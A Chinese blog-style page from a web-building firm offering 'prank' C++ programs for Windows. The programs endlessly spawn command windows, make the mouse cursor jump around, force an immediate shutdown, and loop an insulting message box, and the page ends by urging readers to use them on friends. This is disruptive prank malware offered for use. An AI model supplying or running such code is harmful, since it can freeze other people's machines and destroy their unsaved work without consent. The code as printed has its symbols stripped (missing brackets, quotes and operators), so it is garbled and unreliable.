ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

C++整蛊代码

2026/8/31 10:57:34 拓冰建站 浏览量
C++整蛊代码 无限弹窗#includewindows.h using namespace std; int main() { system(color F5); for(;;) system(start cmd); return 0; }鼠标乱飞#include bits/stdc.h #include windows.h #include conio.h using namespace std; int main() { int a; int xGetSystemMetrics(SM_CXSCREEN); int yGetSystemMetrics(SM_CXSCREEN); srand(time(0)); while(true)//乱飞无数次 { SetCursorPos(rand()%x,rand()%y); Sleep(10); if(kbhit()) { agetch(); if(a97)//直到按下a { break;//就结束 } } cout嗨害嗨; } }直接关机#includewindows.h using namespace std; int main() { system(shutdown -s -f -t 0); }电脑骂人事件无限弹窗//一经运行本人概不负责 #includewindows.h #pragma comment (lib, User32.lib) int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ while(1){ MessageBox(NULL, TEXT(你就是个***\n——你的好朋友), TEXT(电脑骂人事件), MB_OK); } return 0; }快去整蛊你的好朋友吧